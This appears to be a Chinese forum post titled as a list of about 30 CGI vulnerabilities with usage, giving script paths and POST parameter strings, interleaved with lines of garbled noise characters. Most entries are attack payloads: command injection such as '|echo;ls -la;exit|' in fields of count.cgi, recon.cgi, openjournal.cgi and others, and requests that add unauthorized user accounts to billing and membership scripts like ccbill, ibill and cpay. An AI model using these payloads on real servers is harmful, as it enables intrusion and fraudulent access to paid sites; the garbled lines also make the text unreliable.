Cgi-bin 30个漏洞＋使用方法

admin

==============================
6 {$ |2 m0 [+ G2 X5 h/ [6 G( z
/smspass.pl
, a9 O7 |; Q+ H/ ~6 k$ gusername=username&password=password

* N8 Q0 ~0 [8 l4 ^% F% _7 \2 O/index.cgi
! l2 M( G2 x# n! I# P0 Dwei=ren&gen=command

  _7 i8 u) n3 X# o4 a/passmaster.cgi
' M1 t( E8 ]% _7 q& h: r. s- RAction=Add&Username=Username&Password=Password

/accountcreate.cgi
& o, d( c/ k' ]  m1 M* n6 iusername=username&password=password&ref1=|echo;ls|

/form.cgi
$ t# l3 k4 z; D8 y, |name=xxxx&email=email&subject=xxxx&response=|echo;ls|
6 U, D6 x$ m1 M  s: m8 H
% J' {6 T6 {% s; M( C3 n/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
. A; @8 r# f: \" s2 `0 _
$ X) Q( u, d- H* B$ w0 G7 b/ccbill-local.asp
& e* `, ]+ [) Q. |5 m# Qpost_values=username:password
! D% o, f/ a1 O. q* c: [
; d# `% e9 s5 M! [6 p6 A. M/count.cgi
pinfile=|echo;ls -la;exit|
& u9 z# N) o; n! S0 i5 a7 P( d
/recon.cgi
+ |1 z2 s8 R& P, c: _9 E$ N/recon.cgi?search
$ Z& |: _4 I3 a3 ^/ ^+ i% wsearchoption=1&searchfor=|echo;ls -al;exit|

: \0 D0 V& T, Q) Z$ m/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
0 E3 J! d5 B. Z  U  j5 [! M# i- }/ G
/af.cgi
_browser_out=|echo;ls -la;exit;|
. ^" }' F' w: w6 g" q; ^1 m; U
/modify.cgi
username=username&password=password&expire=30
% {" J) Y5 ^% n
' M9 e0 s* R. m4 T/openjournal.cgi
, U9 h5 O) ?3 |8 H+ n" Zedit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
cmd=ADD&user=username&pass=password
1 A( ~8 X( b; y3 Z% ?5 @+ p
/probecontrol.cgi
command=enable&username=username&password=password

8 E" p' z, {! l) n, a; E  h/recon.cgi
& _9 w0 }9 Z2 T1 e  g$ E- m2 @searchoption=3&searchfor=echo;ls -la;exit
/ X0 C& e0 J5 d  k2 K( e! ~% k8 o# H8 N, g
& [7 B. {2 g- q/ Z# w/htadd.pl
7 R8 p4 O+ V0 A( R* [6 Y; _  Econfigfile=|echo; ls -alt; exit

/gx9passwd.cgi
cmd=ADD&user=username&pass=password
( m) J' f9 u/ K/ y( ^
/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
* \6 R+ P* N. }8 z
( L$ x  [: O0 {/cpay.cgi
+ p- x: u6 p$ Q* d6 u- K0 Mcommand=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
2 k6 z9 X! T; E8 a- C' Hdo=add&username=username&password=password&wpassword=password

/usercontrol.cgi
2 u* R/ Q  A( V2 K1 Q0 I! p# xcommand=enable&username=USER&password=PASS

# N, s3 Y. S$ @& {0 ^) R" a# H/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS
! N; u5 o' r3 g/ ~
/pincount.cgi
' O' S4 ^4 `" r3 K/ m# Z- b/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|
2 P" v/ Z1 L) I% k* @
) n1 b6 {$ n9 \1 e0 h; {, G/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

! u% w2 U- x) f8 B/af.cgi
/env.cgi
ADD+;echo;pwd;exit
# S0 B( M2 V% d3 ^
/count.cgi
pinfile=|echo;pwd;exit|

/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
username=username&password=password&expire=30

==============================